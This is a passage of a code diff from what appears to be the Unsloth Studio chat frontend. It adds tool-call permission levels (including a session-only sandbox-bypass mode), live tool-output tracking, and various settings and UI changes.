 export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
   toolsEnabled: boolean;
@@ -328,8 +348,8 @@ export function resolveToolsEnabledOnLoad(supportsTools: boolean): {
 } {
   if (!supportsTools) return { toolsEnabled: false, codeToolsEnabled: false };
   return {
-    toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? true,
-    codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? true,
+    toolsEnabled: loadOptionalBool(CHAT_TOOLS_ENABLED_KEY) ?? false,
+    codeToolsEnabled: loadOptionalBool(CHAT_CODE_TOOLS_ENABLED_KEY) ?? false,
   };
 }
 
@@ -342,6 +362,55 @@ function saveBool(key: string, value: boolean): void {
   }
 }
 
+// The visibility flag shipped after the menu pins, so when it is absent,
+// profiles that had explicitly pinned Canvas keep it visible.
+function loadShowCanvasMenuItem(): boolean {
+  const stored = loadOptionalBool(CHAT_SHOW_CANVAS_MENU_ITEM_KEY);
+  if (stored !== null) return stored;
+  if (!canUseStorage()) return false;
+  try {
+    const raw = localStorage.getItem(PLUS_MENU_PINS_STORAGE_KEY);
+    if (raw === null) return false;
+    const parsed = JSON.parse(raw) as {
+      state?: { pins?: { canvas?: boolean } };
+    };
+    return parsed.state?.pins?.canvas === true;
+  } catch {
+    return false;
+  }
+}
+
+/**
+ * "full" is intentionally not restorable: it disables the sandbox and every
+ * confirmation gate, so it must be re-enabled (through the warning dialog)
+ * each session. First run falls back to the legacy "Confirm tool calls"
+ * toggle so existing users keep their behavior (on -> ask, explicitly
+ * off -> "off", i.e. no prompts); fresh installs default to "auto".
+ */
+function loadPermissionMode(): PermissionMode {
+  if (!canUseStorage()) return "auto";
+  try {
+    const raw = localStorage.getItem(CHAT_PERMISSION_MODE_KEY);
+    if (raw === "ask" || raw === "auto" || raw === "off") return raw;
+  } catch {
+    // ignore
+  }
+  const legacyConfirm = loadOptionalBool(CHAT_CONFIRM_TOOL_CALLS_KEY);
+  if (legacyConfirm === null) return "auto";
+  return legacyConfirm ? "ask" : "off";
+}
+
+function savePermissionMode(mode: PermissionMode): void {
+  if (!canUseStorage() || mode === "full") return;
+  try {
+    localStorage.setItem(CHAT_PERMISSION_MODE_KEY, mode);
+  } catch {
+    // ignore
+  }
+}
+
+const INITIAL_PERMISSION_MODE: PermissionMode = loadPermissionMode();
+
 function loadString(key: string, fallback: string): string {
   if (!canUseStorage()) return fallback;
   try {
@@ -428,17 +497,6 @@ export function saveSpeculativeType(value: string | null): void {
   }
 }
 
-function notifyHfTokenChanged(value: string): void {
-  if (!canUseStorage()) return;
-  try {
-    window.dispatchEvent(
-      new CustomEvent(HF_TOKEN_CHANGED_EVENT, { detail: value }),
-    );
-  } catch {
-    // ignore
-  }
-}
-
 /** A local model staged for a deferred load (see `pendingSelection`). Shape is
  *  a subset of the load hook's `SelectedModelInput`, structurally assignable. */
 export type PendingModelSelection = {
@@ -514,7 +572,11 @@ export function isPendingGguf(pending: PendingModelSelection | null): boolean {
  *  wrong file. */
 export function pendingSelectionMatches(
   pending: PendingModelSelection | null,
-  pick: { id: string; ggufVariant?: string | null; nativePathToken?: string | null },
+  pick: {
+    id: string;
+    ggufVariant?: string | null;
+    nativePathToken?: string | null;
+  },
 ): boolean {
   return (
     pending != null &&
@@ -592,6 +654,8 @@ type ChatRuntimeStore = {
   codeToolsEnabled: boolean;
   imageToolsEnabled: boolean;
   artifactsEnabled: boolean;
+  // Whether the Canvas toggle is offered in the composer + menu (hidden by default).
+  showCanvasMenuItem: boolean;
   collapseHtmlArtifacts: boolean;
   allowArtifactNetworkAccess: boolean;
   mcpEnabledForChat: boolean;
@@ -615,8 +679,15 @@ type ChatRuntimeStore = {
    * Bypass Permissions: when on, tool calls run with no confirmation gate
    * AND the python/terminal execution sandbox is disabled on the backend
    * (secrets are still stripped). Takes precedence over confirmToolCalls.
+   * Kept in sync with permissionMode ("full" <=> true).
    */
   bypassPermissions: boolean;
+  /**
+   * Permission level. Single source of truth for the bypass dropdowns;
+   * bypassPermissions and confirmToolCalls mirror it so legacy call sites
+   * keep working. "full" is session-only (never persisted).
+   */
+  permissionMode: PermissionMode;
   /** Whether the "Enable Bypass Permissions?" warning dialog is open. Lifted out
    *  of the composer menu so confirming/cancelling it doesn't leave the menu frozen. */
   bypassConfirmOpen: boolean;
@@ -644,8 +715,16 @@ type ChatRuntimeStore = {
    */
   webFetchToolsEnabled: boolean;
   toolStatus: string | null;
+  /** Live stdout/stderr from running tools, keyed by toolCallId. Transient:
+   *  appended by tool_output, cleared on tool_end or run end. */
+  toolLiveOutput: Record<string, string>;
+  /** Full live output of finished tools whose result was truncated for the
+   *  model, keyed by toolCallId. Set from tool_end; finished cards prefer it
+   *  over the truncated result. Session-transient. */
+  toolFullOutput: Record<string, string>;
   generatingStatus: string | null;
   autoHealToolCalls: boolean;
+  nudgeToolCalls: boolean;
   maxToolCallsPerMessage: number;
   toolCallTimeout: number;
   kvCacheDtype: string | null;
@@ -753,11 +832,13 @@ type ChatRuntimeStore = {
     enabled: boolean,
     options?: { persist?: boolean },
   ) => void;
+  setShowCanvasMenuItem: (enabled: boolean) => void;
   setCollapseHtmlArtifacts: (enabled: boolean) => void;
   setAllowArtifactNetworkAccess: (enabled: boolean) => void;
   setMcpEnabledForChat: (enabled: boolean) => void;
   setConfirmToolCalls: (enabled: boolean) => void;
   setBypassPermissions: (enabled: boolean) => void;
+  setPermissionMode: (mode: PermissionMode) => void;
   setBypassConfirmOpen: (open: boolean) => void;
   allowToolAlways: (sessionId: string, toolName: string) => void;
   setToolConfirmation: (
@@ -777,9 +858,17 @@ type ChatRuntimeStore = {
   setRagOcrScanned: (enabled: boolean) => void;
   setRagCaptionFigures: (enabled: boolean) => void;
   setToolStatus: (status: string | null) => void;
+  appendToolLiveOutput: (toolCallId: string, text: string) => void;
+  /** Clear one tool's live output, or all when no id is given. */
+  clearToolLiveOutput: (toolCallId?: string) => void;
+  /** Preserve a finished tool's full live-streamed output for display. */
+  setToolFullOutput: (toolCallId: string, text: string) => void;
+  /** Drop a stale preserved full output (a new run is reusing the id). */
+  clearToolFullOutput: (toolCallId: string) => void;
   setGeneratingStatus: (status: string | null) => void;
   setActiveDiffusionCanvas: (canvas: DiffusionCanvasFrame | null) => void;
   setAutoHealToolCalls: (enabled: boolean) => void;
+  setNudgeToolCalls: (enabled: boolean) => void;
   setMaxToolCallsPerMessage: (value: number) => void;
   setToolCallTimeout: (value: number) => void;
   setKvCacheDtype: (dtype: string | null) => void;
@@ -832,6 +921,7 @@ type ScalarSettingKey =
   | "collapseHtmlArtifacts"
   | "allowArtifactNetworkAccess"
   | "autoHealToolCalls"
+  | "nudgeToolCalls"
   | "maxToolCallsPerMessage"
   | "toolCallTimeout";
 
@@ -869,6 +959,7 @@ const SCALAR_SETTING_KEYS = [
   "collapseHtmlArtifacts",
   "allowArtifactNetworkAccess",
   "autoHealToolCalls",
+  "nudgeToolCalls",
   "maxToolCallsPerMessage",
   "toolCallTimeout",
 ] as const satisfies readonly ScalarSettingKey[];
@@ -1044,7 +1135,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   runningByThreadId: {},
   cancelByThreadId: {},
   autoTitle: false,
-  hfToken: loadString(HF_TOKEN_KEY, ""),
+  hfToken: useHfTokenStore.getState().token,
   modelsError: null,
   lastModelLoadError: null,
   activeGgufVariant: null,
@@ -1071,17 +1162,22 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   codeToolsEnabled: loadBool(CHAT_CODE_TOOLS_ENABLED_KEY, false),
   imageToolsEnabled: loadBool(CHAT_IMAGE_TOOLS_ENABLED_KEY, false),
   artifactsEnabled: loadBool(CHAT_ARTIFACTS_ENABLED_KEY, false),
+  showCanvasMenuItem: loadShowCanvasMenuItem(),
   collapseHtmlArtifacts: loadBool(CHAT_COLLAPSE_HTML_ARTIFACTS_KEY, false),
   allowArtifactNetworkAccess: loadBool(
     CHAT_ALLOW_ARTIFACT_NETWORK_ACCESS_KEY,
     false,
   ),
   mcpEnabledForChat: loadBool(CHAT_MCP_ENABLED_KEY, false),
-  confirmToolCalls: loadBool(CHAT_CONFIRM_TOOL_CALLS_KEY, false),
+  // Mirrors permissionMode (gate requested for ask/auto) so both controls
+  // agree on load.
+  confirmToolCalls:
+    INITIAL_PERMISSION_MODE === "ask" || INITIAL_PERMISSION_MODE === "auto",
   // Never restore Bypass Permissions from storage: it disables the sandbox and
   // the confirmation gate, so it must be re-enabled (through the warning
   // dialog) each session rather than silently reactivating on reload.
   bypassPermissions: false,
+  permissionMode: INITIAL_PERMISSION_MODE,
   bypassConfirmOpen: false,
   alwaysAllowToolsBySession: new Map<string, Set<string>>(),
   toolConfirmations: {},
@@ -1100,9 +1196,12 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   ragOcrScanned: loadBool(CHAT_RAG_OCR_KEY, DEFAULT_RAG_OCR),
   ragCaptionFigures: loadBool(CHAT_RAG_CAPTION_KEY, DEFAULT_RAG_CAPTION),
   toolStatus: null,
+  toolLiveOutput: {},
+  toolFullOutput: {},
   generatingStatus: null,
   activeDiffusionCanvas: null,
   autoHealToolCalls: true,
+  nudgeToolCalls: true,
   maxToolCallsPerMessage: 25,
   toolCallTimeout: 5,
   kvCacheDtype: null,
@@ -1241,11 +1340,7 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       setScalarSettingVersion("autoTitle", autoTitle, state.autoTitle);
       return { autoTitle };
     }),
-  setHfToken: (hfToken) => {
-    saveString(HF_TOKEN_KEY, hfToken);
-    set({ hfToken });
-    notifyHfTokenChanged(hfToken);
-  },
+  setHfToken: (hfToken) => useHfTokenStore.getState().setToken(hfToken),
   setModelsError: (modelsError) => set({ modelsError }),
   setLastModelLoadError: (lastModelLoadError) => set({ lastModelLoadError }),
   setCheckpoint: (modelId, ggufVariant) =>
@@ -1348,6 +1443,8 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       // Only the per-session enable pill resets; source/mode/top_k persist.
       ragEnabled: false,
       toolStatus: null,
+      toolLiveOutput: {},
+      toolFullOutput: {},
       activeDiffusionCanvas: null,
       kvCacheDtype: null,
       loadedKvCacheDtype: null,
@@ -1419,6 +1516,11 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       }
       return { artifactsEnabled };
     }),
+  setShowCanvasMenuItem: (showCanvasMenuItem) =>
+    set(() => {
+      saveBool(CHAT_SHOW_CANVAS_MENU_ITEM_KEY, showCanvasMenuItem);
+      return { showCanvasMenuItem };
+    }),
   setCollapseHtmlArtifacts: (collapseHtmlArtifacts) =>
     set((state) => {
       saveBool(CHAT_COLLAPSE_HTML_ARTIFACTS_KEY, collapseHtmlArtifacts);
@@ -1448,14 +1550,53 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       return { mcpEnabledForChat };
     }),
   setConfirmToolCalls: (confirmToolCalls) =>
-    set(() => {
+    set((state) => {
       saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
-      return { confirmToolCalls };
+      // The legacy toggle is a view over the permission level: on -> "ask",
+      // off -> "off" (no prompts). While "full" is active the level is left
+      // alone (the toggle is disabled in the UI anyway).
+      if (state.permissionMode === "full") return { confirmToolCalls };
+      const permissionMode: PermissionMode = confirmToolCalls ? "ask" : "off";
+      savePermissionMode(permissionMode);
+      return { confirmToolCalls, permissionMode };
+    }),
+  setPermissionMode: (permissionMode) =>
+    set(() => {
+      // "full" is session-only (never persisted, see init); ask/auto/off
+      // persist and keep the legacy confirm toggle in sync (the gate is
+      // requested for both ask and auto).
+      savePermissionMode(permissionMode);
+      if (permissionMode === "full") {
+        // Full access sends confirm_tool_calls=false; keep the store flag in
+        // sync so response metadata does not report confirmations as enabled.
+        return { permissionMode, bypassPermissions: true, confirmToolCalls: false };
+      }
+      const confirmToolCalls =
+        permissionMode === "ask" || permissionMode === "auto";
+      saveBool(CHAT_CONFIRM_TOOL_CALLS_KEY, confirmToolCalls);
+      return { permissionMode, bypassPermissions: false, confirmToolCalls };
     }),
   setBypassPermissions: (bypassPermissions) =>
     // Deliberately not persisted (see init): a reload must not silently keep
     // the sandbox/confirmation bypass active without re-accepting the warning.
-    set(() => ({ bypassPermissions })),
+    // Turning bypass off returns to the last persisted ask/auto level.
+    set(() => {
+      if (bypassPermissions) {
+        // Full access never prompts; mirror confirm_tool_calls=false in the
+        // store so metadata does not report confirmations as enabled.
+        return {
+          bypassPermissions,
+          permissionMode: "full" as PermissionMode,
+          confirmToolCalls: false,
+        };
+      }
+      const permissionMode = loadPermissionMode();
+      return {
+        bypassPermissions,
+        permissionMode,
+        confirmToolCalls: permissionMode === "ask" || permissionMode === "auto",
+      };
+    }),
   setBypassConfirmOpen: (bypassConfirmOpen) =>
     set(() => ({ bypassConfirmOpen })),
   allowToolAlways: (sessionId, toolName) =>
@@ -1532,6 +1673,43 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       return { ragCaptionFigures };
     }),
   setToolStatus: (toolStatus) => set({ toolStatus }),
+  appendToolLiveOutput: (toolCallId, text) =>
+    set((state) => ({
+      toolLiveOutput: {
+        ...state.toolLiveOutput,
+        [toolCallId]: (state.toolLiveOutput[toolCallId] ?? "") + text,
+      },
+    })),
+  setToolFullOutput: (toolCallId, text) =>
+    set((state) => ({
+      toolFullOutput: {
+        ...state.toolFullOutput,
+        [toolCallId]: text,
+      },
+    })),
+  clearToolFullOutput: (toolCallId) =>
+    set((state) => {
+      if (!(toolCallId in state.toolFullOutput)) {
+        return {};
+      }
+      const next = { ...state.toolFullOutput };
+      delete next[toolCallId];
+      return { toolFullOutput: next };
+    }),
+  clearToolLiveOutput: (toolCallId) =>
+    set((state) => {
+      if (toolCallId === undefined) {
+        return Object.keys(state.toolLiveOutput).length
+          ? { toolLiveOutput: {} }
+          : {};
+      }
+      if (!(toolCallId in state.toolLiveOutput)) {
+        return {};
+      }
+      const next = { ...state.toolLiveOutput };
+      delete next[toolCallId];
+      return { toolLiveOutput: next };
+    }),
   setActiveDiffusionCanvas: (activeDiffusionCanvas) =>
     set({ activeDiffusionCanvas }),
   setGeneratingStatus: (generatingStatus) => set({ generatingStatus }),
@@ -1544,6 +1722,15 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
       );
       return { autoHealToolCalls };
     }),
+  setNudgeToolCalls: (nudgeToolCalls) =>
+    set((state) => {
+      setScalarSettingVersion(
+        "nudgeToolCalls",
+        nudgeToolCalls,
+        state.nudgeToolCalls,
+      );
+      return { nudgeToolCalls };
+    }),
   setMaxToolCallsPerMessage: (maxToolCallsPerMessage) =>
     set((state) => {
       setScalarSettingVersion(
@@ -1637,6 +1824,12 @@ export const useChatRuntimeStore = create<ChatRuntimeStore>((set, get) => ({
   setContextUsage: (contextUsage) => set({ contextUsage }),
 }));
 
+// Mirror token edits made through the shared store (e.g. Studio's field).
+const unsubscribeHfTokenMirror = mirrorHfTokenInto(useChatRuntimeStore);
+if (import.meta.hot) {
+  import.meta.hot.dispose(unsubscribeHfTokenMirror);
+}
+
 export function resolveSpeculativeSettingsForLoad({
   usePersistedPreference = false,
 }: {
diff --git a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
index 822c66eeb5..960649a901 100644
--- a/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
+++ b/studio/frontend/src/features/chat/stores/plus-menu-prefs-store.ts
@@ -44,6 +44,8 @@ const DEFAULT_PINS: Record<PlusMenuItemId, boolean> = {
   bypassPermissions: false,
 };
 
+export const PLUS_MENU_PINS_STORAGE_KEY = "unsloth_plus_menu_pins";
+
 export interface PlusMenuPrefsState {
   pins: Record<PlusMenuItemId, boolean>;
   setPin: (id: PlusMenuItemId, value: boolean) => void;
@@ -72,7 +74,7 @@ export const usePlusMenuPrefsStore = create<PlusMenuPrefsState>()(
         })),
     }),
     {
-      name: "unsloth_plus_menu_pins",
+      name: PLUS_MENU_PINS_STORAGE_KEY,
       // Backfill any ids added in a later release so persisted state from an
       // older version still resolves every menu item.
       merge: (persisted, current) => {
diff --git a/studio/frontend/src/features/chat/tool-output-scope.ts b/studio/frontend/src/features/chat/tool-output-scope.ts
new file mode 100644
index 0000000000..a7885a3916
--- /dev/null
+++ b/studio/frontend/src/features/chat/tool-output-scope.ts
@@ -0,0 +1,95 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"use client";
+
+import { createContext, useContext } from "react";
+import type { ModelType } from "./types";
+
+/**
+ * Pane scope prefix for the transient tool-output store keys.
+ *
+ * Local GGUF tool ids are only unique within one response ("call_0", "call_1",
+ * ...), and panes stream concurrently (compare mode mounts two runtimes; the
+ * main view stays CSS-hidden off-route), so a bare id would let one pane's
+ * stdout bleed into another's same-id card. Derived from static props
+ * (`modelType` + `pairId`) shared by writer (adapter) and reader (components)
+ * via one `ChatRuntimeProvider`, so they can never disagree.
+ */
+export function toolPaneScope(modelType?: ModelType, pairId?: string): string {
+  return `${modelType ?? "base"}\u0000${pairId ?? ""}`;
+}
+
+export const ToolPaneScopeContext = createContext<string>(toolPaneScope());
+
+export function useToolPaneScope(): string {
+  return useContext(ToolPaneScopeContext);
+}
+
+/** Store key for the live/full tool output maps: pane scope + tool call id. */
+export function toolOutputKey(paneScope: string, toolCallId: string): string {
+  return `${paneScope}\u0000${toolCallId}`;
+}
+
+// Footer the backend appends when it truncates a result to protect the context
+// window (see backend tools._truncate). Marks where the result stops being a
+// copy of the stream, so it distinguishes "just truncated" from "carries
+// failure/exit status the stream never produced".
+const TRUNCATION_FOOTER_MARKER = "\n\n... (truncated";
+
+/**
+ * Whether the live stdout holds more real output than the model-visible
+ * `result` and should be preserved for the finished card. Shared by writer
+ * (retain?) and reader (display?) so they agree.
+ *
+ * True when the result is truncated, OR the stream is longer. Truncation can't
+ * fall back to length: a truncated result may be longer by byte count once its
+ * footer / `Exit code N:` / `__IMAGES__` blob is appended, yet the stream still
+ * holds more stdout. Also true when a short stream is absent from the result: a
+ * timed-out/cancelled tool returns only a status line, so length alone would
+ * drop the partial stdout the stream captured.
+ */
+export function shouldPreserveFullOutput(full: string, result: string): boolean {
+  if (!full) {
+    return false;
+  }
+  if (result.includes(TRUNCATION_FOOTER_MARKER)) {
+    return true;
+  }
+  if (full.length > result.length) {
+    return true;
+  }
+  // Stream no longer than the result, but a timed-out/cancelled tool's status
+  // line never echoes the captured stdout: preserve the stream whenever its
+  // content is absent from the result (trimmed to ignore trailing-newline drift).
+  const core = full.trim();
+  return core.length > 0 && !result.includes(core);
+}
+
+/**
+ * Pick what a finished python/terminal card shows. Prefer the fuller live
+ * stream over the truncated `result`, but the result can carry failure/exit
+ * text that never reached stdout ("Exit code N: ...", timeouts), so show the
+ * stream when the result is just a truncated prefix of it, else append the
+ * result so its status survives (and the copy button copies both).
+ */
+export function preferFullToolOutput(full: string, result: string): string {
+  if (!shouldPreserveFullOutput(full, result)) {
+    return result;
+  }
+  const marker = result.indexOf(TRUNCATION_FOOTER_MARKER);
+  const core = marker === -1 ? result : result.slice(0, marker);
+  if (!core || full === result || full.startsWith(core)) {
+    return full;
+  }
+  // Failed executions prefix the result (not the stream) with "Exit code N:\n",
+  // so `full.startsWith(core)` above misses and a plain append would duplicate
+  // the stdout. Re-attach just the exit prefix (and any missing-path hint) to
+  // the fuller stream so the status survives without duplicating stdout.
+  const exitMatch = core.match(/^(Exit code -?\d+:\n)([\s\S]*)$/);
+  if (exitMatch && full.startsWith(exitMatch[2])) {
+    const hint = result.match(/\nHint:[\s\S]*$/)?.[0] ?? "";
+    return `${exitMatch[1]}${full}${hint}`;
+  }
+  return `${full.replace(/\s+$/, "")}\n\n${result}`;
+}
diff --git a/studio/frontend/src/features/chat/types.ts b/studio/frontend/src/features/chat/types.ts
index 3fe69ccc26..111510d925 100644
--- a/studio/frontend/src/features/chat/types.ts
+++ b/studio/frontend/src/features/chat/types.ts
@@ -36,6 +36,7 @@ export interface ThreadRecord {
   projectId?: string | null;
   archived: boolean;
   createdAt: number;
+  updatedAt?: number;
   /**
    * OpenAI shell tool container id from a prior response. When set, the
    * next turn reuses it via `environment.type="container_reference"` so
diff --git a/studio/frontend/src/features/chat/types/api.ts b/studio/frontend/src/features/chat/types/api.ts
index 94a7e1c56b..d72c406fdd 100644
--- a/studio/frontend/src/features/chat/types/api.ts
+++ b/studio/frontend/src/features/chat/types/api.ts
@@ -1,6 +1,8 @@
 // SPDX-License-Identifier: AGPL-3.0-only
 // Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
+import type { TransformersUpgradeInfo } from "@/features/transformers-upgrade";
+
 export interface BackendModelDetails {
   id: string;
   name?: string | null;
@@ -78,6 +80,10 @@ export interface ValidateModelResponse {
   requires_security_review?: boolean;
   /** Native context length from the local GGUF header; null until downloaded. */
   context_length?: number | null;
+  /** Architecture only shipped by a newer transformers; UI pauses on the upgrade dialog. */
+  requires_transformers_upgrade?: boolean;
+  /** Set only when requires_transformers_upgrade. */
+  transformers_upgrade?: TransformersUpgradeInfo | null;
 }
 
 export interface GgufVariantDetail {
@@ -343,6 +349,15 @@ export interface OpenAIChatCompletionsRequest {
   mcp_enabled?: boolean;
   /** Local models + enable_tools only. */
   confirm_tool_calls?: boolean;
+  /**
+   * Local models + enable_tools only. Gate level for local tool calls: "ask"
+   * prompts on every call, "auto" prompts only on calls flagged unsafe, "off"
+   * never prompts, "full" never prompts and drops the sandbox. Unset behaves
+   * as "ask".
+   */
+  permission_mode?: "ask" | "auto" | "off" | "full";
+  /** Local models + enable_tools only. Full-access escape hatch. */
+  bypass_permissions?: boolean;
   /** `kb_id` is exclusive; otherwise project and thread scopes may combine. */
   rag_scope?: {
     kb_id?: string;
@@ -357,6 +372,7 @@ export interface OpenAIChatCompletionsRequest {
     context_length?: number;
   };
   auto_heal_tool_calls?: boolean;
+  nudge_tool_calls?: boolean;
   max_tool_calls_per_message?: number;
   tool_call_timeout?: number;
   session_id?: string;
diff --git a/studio/frontend/src/features/chat/utils/chat-history-storage.ts b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
index 4294887df0..00df3657b1 100644
--- a/studio/frontend/src/features/chat/utils/chat-history-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-history-storage.ts
@@ -590,7 +590,10 @@ export async function listStoredChatThreads(
   }
   return Array.from(byId.values())
     .filter((thread) => matchesThreadListArgs(thread, args))
-    .sort((a, b) => b.createdAt - a.createdAt);
+    .sort(
+      (a, b) =>
+        (b.updatedAt ?? b.createdAt) - (a.updatedAt ?? a.createdAt),
+    );
 }
 
 export async function listStoredChatThreadsWithMessages(
diff --git a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
index 4e457920d1..4899cb9c83 100644
--- a/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
+++ b/studio/frontend/src/features/chat/utils/chat-settings-storage.ts
@@ -21,6 +21,7 @@ import type { ReasoningEffort } from "../stores/chat-runtime-store";
 
 const AUTO_TITLE_KEY = "unsloth_chat_auto_title";
 const AUTO_HEAL_TOOL_CALLS_KEY = "unsloth_auto_heal_tool_calls";
+const NUDGE_TOOL_CALLS_KEY = "unsloth_nudge_tool_calls";
 const MAX_TOOL_CALLS_KEY = "unsloth_max_tool_calls_per_message";
 const TOOL_CALL_TIMEOUT_KEY = "unsloth_tool_call_timeout";
 const INFERENCE_PARAMS_KEY = "unsloth_chat_inference_params";
@@ -223,6 +224,7 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
     value.allowArtifactNetworkAccess,
   );
   const autoHealToolCalls = sanitizeBool(value.autoHealToolCalls);
+  const nudgeToolCalls = sanitizeBool(value.nudgeToolCalls);
   const maxToolCallsPerMessage = sanitizeInt(value.maxToolCallsPerMessage, 1);
   const toolCallTimeout = sanitizeInt(value.toolCallTimeout, 1);
 
@@ -245,6 +247,9 @@ function sanitizeChatSettings(value: unknown): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
@@ -305,6 +310,7 @@ export function isEmptyChatSettings(settings: PersistedChatSettings): boolean {
     settings.collapseHtmlArtifacts === undefined &&
     settings.allowArtifactNetworkAccess === undefined &&
     settings.autoHealToolCalls === undefined &&
+    settings.nudgeToolCalls === undefined &&
     settings.maxToolCallsPerMessage === undefined &&
     settings.toolCallTimeout === undefined
   );
@@ -335,6 +341,7 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   const collapseHtmlArtifacts = loadBool(COLLAPSE_HTML_ARTIFACTS_KEY);
   const allowArtifactNetworkAccess = loadBool(ALLOW_ARTIFACT_NETWORK_ACCESS_KEY);
   const autoHealToolCalls = loadBool(AUTO_HEAL_TOOL_CALLS_KEY);
+  const nudgeToolCalls = loadBool(NUDGE_TOOL_CALLS_KEY);
   const maxToolCallsPerMessage = loadInt(MAX_TOOL_CALLS_KEY, 1);
   const toolCallTimeout = loadInt(TOOL_CALL_TIMEOUT_KEY, 1);
   const allCustomPresets = sanitizeCustomPresets([
@@ -361,6 +368,9 @@ export function loadLegacyChatSettings(): PersistedChatSettings {
   if (autoHealToolCalls !== undefined) {
     settings.autoHealToolCalls = autoHealToolCalls;
   }
+  if (nudgeToolCalls !== undefined) {
+    settings.nudgeToolCalls = nudgeToolCalls;
+  }
   if (maxToolCallsPerMessage !== undefined) {
     settings.maxToolCallsPerMessage = maxToolCallsPerMessage;
   }
diff --git a/studio/frontend/src/features/chat/utils/last-local-model-load.ts b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
new file mode 100644
index 0000000000..099386fbc7
--- /dev/null
+++ b/studio/frontend/src/features/chat/utils/last-local-model-load.ts
@@ -0,0 +1,86 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+export type LastLocalModelKind = "gguf" | "model";
+
+export type LastLocalModelLoad = {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant: string | null;
+  loadedAt: number;
+};
+
+const STORAGE_KEY = "unsloth.last-local-model-load.v1";
+
+function storage(): Storage | null {
+  try {
+    return typeof localStorage === "undefined" ? null : localStorage;
+  } catch {
+    return null;
+  }
+}
+
+function isLastLocalModelKind(value: unknown): value is LastLocalModelKind {
+  return value === "gguf" || value === "model";
+}
+
+export function readLastLocalModelLoad(): LastLocalModelLoad | null {
+  try {
+    const raw = storage()?.getItem(STORAGE_KEY);
+    if (!raw) {
+      return null;
+    }
+    const parsed = JSON.parse(raw) as Partial<LastLocalModelLoad>;
+    if (
+      typeof parsed.id !== "string" ||
+      !parsed.id.trim() ||
+      !isLastLocalModelKind(parsed.kind) ||
+      typeof parsed.loadedAt !== "number"
+    ) {
+      return null;
+    }
+    if (
+      parsed.kind === "gguf" &&
+      (typeof parsed.ggufVariant !== "string" || !parsed.ggufVariant.trim())
+    ) {
+      return null;
+    }
+    return {
+      id: parsed.id,
+      kind: parsed.kind,
+      ggufVariant:
+        typeof parsed.ggufVariant === "string" ? parsed.ggufVariant : null,
+      loadedAt: parsed.loadedAt,
+    };
+  } catch {
+    return null;
+  }
+}
+
+export function recordLastLocalModelLoad(input: {
+  id: string;
+  kind: LastLocalModelKind;
+  ggufVariant?: string | null;
+}): void {
+  const id = input.id.trim();
+  if (!id) {
+    return;
+  }
+  const ggufVariant = input.ggufVariant?.trim() || null;
+  if (input.kind === "gguf" && !ggufVariant) {
+    return;
+  }
+  try {
+    storage()?.setItem(
+      STORAGE_KEY,
+      JSON.stringify({
+        id,
+        kind: input.kind,
+        ggufVariant: input.kind === "gguf" ? ggufVariant : null,
+        loadedAt: Date.now(),
+      } satisfies LastLocalModelLoad),
+    );
+  } catch {
+    // Ignore disabled storage / quota errors; auto-load falls back to size order.
+  }
+}
diff --git a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
index 76f443afe4..088d016894 100644
--- a/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
+++ b/studio/frontend/src/features/data-recipes/pages/data-recipes-page.tsx
@@ -25,10 +25,10 @@ import {
   EmptyTitle,
 } from "@/components/ui/empty";
 import { ShineBorder } from "@/components/ui/shine-border";
+import { ChevronDownStandardIcon } from "@/lib/chevron-icons";
 import { toastError } from "@/shared/toast";
 import {
   Album02Icon,
-  ArrowDown01Icon,
   CodeIcon,
   CookBookIcon,
   Database02Icon,
@@ -415,7 +415,10 @@ export function DataRecipesPage(): ReactElement {
               <Button type="button" disabled={isBusy}>
                 <HugeiconsIcon icon={PlusSignIcon} className="size-4" />
                 New Recipe
-                <HugeiconsIcon icon={ArrowDown01Icon} className="size-4" />
+                <HugeiconsIcon
+                  icon={ChevronDownStandardIcon}
+                  className="size-4"
+                />
               </Button>
             </DropdownMenuTrigger>
             <DropdownMenuContent align="end">
@@ -439,7 +442,88 @@ export function DataRecipesPage(): ReactElement {
           </DropdownMenu>
         </div>
 
-        {!ready ? (
+        {ready ? (
+          recipes.length === 0 ? (
+            <Empty className="mt-8 border border-dashed border-border/70 dark:border-none">
+              <EmptyHeader>
